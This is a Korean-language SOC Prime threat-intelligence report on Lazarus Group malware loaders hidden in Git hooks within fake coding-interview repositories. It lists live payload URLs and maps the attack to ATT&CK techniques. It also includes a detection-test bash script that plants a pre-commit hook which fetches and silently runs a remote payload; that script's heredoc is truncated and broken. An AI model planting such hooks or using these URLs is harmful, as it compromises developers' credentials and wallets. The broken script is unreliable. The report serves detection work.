SOC Prime Bias: Critical

13 5월 2026 21:59

라자루스 그룹, Git Hooks를 사용하여 악성코드를 숨기다. DPRK의 감염성 인터뷰와 TaskJacker 캠페인은 이제 Git Hooks 안에 두 번째 단계 로더를 숨기며, InvisibleFerret 및 Beavertail 악성코드를 다운로드합니다.

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
라자루스 그룹, Git Hooks를 사용하여 악성코드를 숨기다. DPRK의 감염성 인터뷰와 TaskJacker 캠페인은 이제 Git Hooks 안에 두 번째 단계 로더를 숨기며, InvisibleFerret 및 Beavertail 악성코드를 다운로드합니다.
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

북한 라자루스 그룹은 악성 Git에 두 번째 단계 전달 메커니즘을 내장하여 Contagious Interview 및 TaskJacker 캠페인을 업데이트했습니다. pre-commit and post-checkout 훅. 이 훅은 Vercel에 호스팅된 URL에서 플랫폼별 페이로드를 조용히 가져와 macOS, Linux, Windows 시스템에서 실행합니다. 신뢰받는 개발자 워크플로우와 리포지토리 툴을 악용하여 공격자는 일상적인 코딩 작업을 자격 증명 탈취와 암호화폐 지갑의 위험을 초래할 수 있는 공급망 위협 벡터로 변환합니다. 주요 지표에는 악성 .githooks/pre-commit 스크립트와 인프라가 precommit.vercel.app.

조사

OpenSourceMalware 연구원들은 피해자의 운영체제를 감지하고 적절한 페이로드를 .githooks/pre-commit 에서 다운로드하는 간편한 precommit.vercel.app 스크립트를 확인했습니다. curl or wget. 동일한 스크립트 해시는 여러 GitHub 리포지토리에서 암호화폐 및 DeFi 테마로 위장된 코딩 평가 프로젝트로 나타났습니다. 인프라는 플래그 기반의 쿼리 매개변수를 통해 운영 체제에 따라 서로 다른 셸 또는 배치 페이로드를 제공했습니다. 연구원들은 또한 조사 과정을 재현하고 유사한 리포지토리를 찾기 위해 사용할 수 있는 GitHub 코드 검색 쿼리를 공유했습니다.

완화

조직은 Git 리포지토리 훅을 주의 깊게 검토해야 하며, 특히 .githooks, .husky, 및 .vscode/tasks.json 파일을 허용하기 전에 반드시 확인해야 합니다. 개발자는 신뢰할 수 없는 리포지토리를 SSH 키, 지갑 파일 또는 활성 브라우저 프로필이 없는 격리된 환경에서만 복사하고 테스트해야 합니다. Git 훅의 자동 실행은 가능하다면 비활성화해 승인된 스크립트로만 제한해야 합니다. 보안 팀은 또한 악성 페이로드 배달을 지원할 수 있는 precommit.vercel.app 와 유사한 도메인으로의 아웃바운드 트래픽을 모니터링해야 합니다.

대응

수비수는 precommit.vercel.app 와의 네트워크 통신을 차단하고 예기치 않은 .githooks/pre-commit 파일에 대한 파일 무결성 모니터링을 설정해야 합니다. Git 훅 관련 프로세스에서 curl or wget 이 실행되면 경고가 트리거되어야 합니다. 잠재적으로 노출된 자격 증명, 토큰 또는 암호화폐 지갑은 즉시 조사하고 변경해야 합니다. 제공된 지표를 사용하여 영향을 받은 리포지토리와 상호 작용한 시스템을 식별하기 위해 위협 헌팅을 확장해야 합니다.

"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2e0ff classDef artifact fill:#e6e6e6 classDef action fill:#ffd9b3 %% Nodes u2013 Actions action_clone["<b>Action</b> – 피해자가 악성 리포지토리를 복제<br/><b>설명</b>: 악성 Git 훅을 포함한 코드를 다운로드합니다."] class action_clone action action_commit["<b>Action</b> – 피해자가 <code>git commit</code>을 실행<br/><b>설명</b>: 자동으로 preu2011commit 훅을 트리거합니다."] class action_commit action %% Nodes u2013 Artifacts artifact_repo["<b>Artifact</b> – 악성 Git 리포지토리<br/><b>세부사항</b>: 가짜 코딩u2011평가 인터뷰 자료를 제공합니다."] class artifact_repo artifact artifact_hook["<b>Artifact</b> – .githooks/preu2011commit 스크립트<br/><b>세부사항</b>: 각 <code>git commit</code>시 자동으로 실행됩니다."] class artifact_hook artifact artifact_urls["<b>Artifact</b> – 원격 페이로드 URL<br/><b>세부사항</b>: https://precommit.vercel.app/settings/mac?flag=5<br/>https://precommit.vercel.app/settings/linux?flag=5<br/>https://precommit.vercel.app/settings/windows?flag=5"] class artifact_urls artifact %% Nodes u2013 Techniques tech_supply_chain["<b>Technique</b> – T1195: 공급망 공격<br/><b>설명</b>: 적이 서드파티 소프트웨어 공급망을 침해하여 악성 코드를 배포합니다."] class tech_supply_chain technique tech_dependency["<b>Technique</b> – T1195.001: 소프트웨어 종속성 및 개발 도구 공격<br/><b>설명</b>: 악성 코드를 주입하기 위해 소프트웨어 종속성이나 개발 도구를 표적으로 삼습니다."] class tech_dependency technique tech_proxy_exec["<b>Technique</b> – T1127: 신뢰받는 개발자 도구의 프록시 실행<br/><b>설명</b>: 신뢰받는 개발자 도구(예: Git 훅)를 사용하여 공격자 제어 코드를 실행합니다."] class tech_proxy_exec technique tech_unix_shell["<b>Technique</b> – T1059.004: Unix 쉘 커맨드 및 스크립트 인터프리터<br/><b>설명</b>: Unix 쉘 인터프리터를 통해 명령을 실행합니다."] class tech_unix_shell technique tech_user_exec["<b>Technique</b> – T1204.004: 유저 실행 ‒ 악성 복사 및 붙여넣기<br/><b>설명</b>: 피해자가 의도치 않게 악성 코드를 복사 및 붙여넣기 행동을 통해 실행합니다."] class tech_user_exec technique tech_taint["<b>Technique</b> – T1080: 공유 콘텐츠 오염<br/><b>설명</b>: 피해자가 실행하는 공유 리소스에 악성 콘텐츠를 삽입합니다."] class tech_taint technique tech_content_injection["<b>Technique</b> – T1659: 콘텐츠 주입<br/><b>설명</b>: 정당한 파일이나 데이터 스트림에 악성 콘텐츠를 삽입합니다."] class tech_content_injection technique %% Nodes u2013 Tools tool_git["<b>Tool</b> – Git<br/><b>설명</b>: 리포지토리 이벤트에서 훅 스크립트를 실행하는 버전 관리 시스템."] class tool_git tool tool_curl["<b>Tool</b> – curl / wget<br/><b>설명</b>: HTTP/HTTPS를 통해 원격 콘텐츠를 다운로드합니다."] class tool_curl tool tool_sh["<b>Tool</b> – /bin/sh<br/><b>설명</b>: 다운로드한 페이로드를 실행하는 쉘 인터프리터입니다."] class tool_sh tool %% Connections u2013 Attack Flow action_clone –>|제공| artifact_repo artifact_repo –>|활성화| tech_supply_chain tech_supply_chain –>|촉진| tech_dependency tech_dependency –>|놓는다| artifact_hook action_commit –>|트리거| artifact_hook artifact_hook –>|활용| tech_proxy_exec tech_proxy_exec –>|통해 실행| tool_git tool_git –>|호출| tech_unix_shell tech_unix_shell –>|사용| tool_curl tool_curl –>|다운로드| artifact_urls artifact_urls –>|제공| tech_taint tech_taint –>|결과| tech_content_injection tech_content_injection –>|통해 실행| tool_sh tool_sh –>|악성 페이로드 실행| tech_user_exec "

공격 흐름

시뮬레이션 실행

전제 조건: 텔레메트리 및 베이스라인 사전 비행 검사에 합격해야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적의 기술(버전 및 스크립트 인터프리터)에 대한 정확한 실행을 자세히 설명합니다. 명령과 내러티브는 식별된 기술(버전 및 스크립트 인터프리터)을 직접 반영하고 탐지 논리에 의해 기대되는 정확한 텔레메트리를 생성하는 것을 목표로 해야 합니다.

  • 공격 내러티브 및 명령:
    Lazarus 그룹의 오퍼레이터가 개발자의 워크스테이션을 침해해 악성 Git pre-commit 훅을 주입합니다. 이 훅은 무심코 발견되지 않기 위해 숨겨진 “.githooks” 디렉토리에 배치됩니다. 언제든지 git commit 이 실행되면 훅은 C2 서버에 조용히 연락하여 base64로 인코딩된 페이로드를 다운로드, 그것을 /tmp/.payload로 쓰고 실행 가능하게 한 뒤 실행하여 발판(T1620)을 마련하고 내장된 악성 페이로드(T1027.009)을 실행합니다.

  • 회귀 테스트 스크립트:

    #!/bin/bash
    # -------------------------------------------------
    # Lazarus 스타일 악성 Git pre-commit 훅 테스트
    # -------------------------------------------------
    
    # 1. 숨겨진 .githooks 디렉토리 생성
    mkdir -p "$HOME/.githooks"
    
    # 2. 악성 pre-commit 훅 작성
    cat > "$HOME/.githooks/pre-commit" < "$TMPFILE"
    chmod +x "$TMPFILE"
    # 페이로드 조용히 실행
    "$TMPFILE" &
    exit 0
    EOF
    
    # 3. 훅을 실행 가능하게 설정
    chmod +x "$HOME/.githooks/pre-commit"
    
    # 4. 훅을 트리거하기 위해 git commit 시뮬레이션
    mkdir -p "$HOME/malicious-repo"
    cd "$HOME/malicious-repo"
    git init > /dev/null 2>&1
    touch README.md
    git add README.md
    git commit -m "Initial commit" > /dev/null 2>&1
    
    echo "악성 pre-commit 훅이 실행됨 (탐지가 작동하면 경고가 나타나야 함)."
  • 정리 명령:

    #!/bin/bash
    # 악성 아티팩트 제거
    rm -rf "$HOME/.githooks"
    rm -f "/tmp/.payload" "/tmp/.payload.b64"
    rm -rf "$HOME/malicious-repo"
    echo "정리 완료."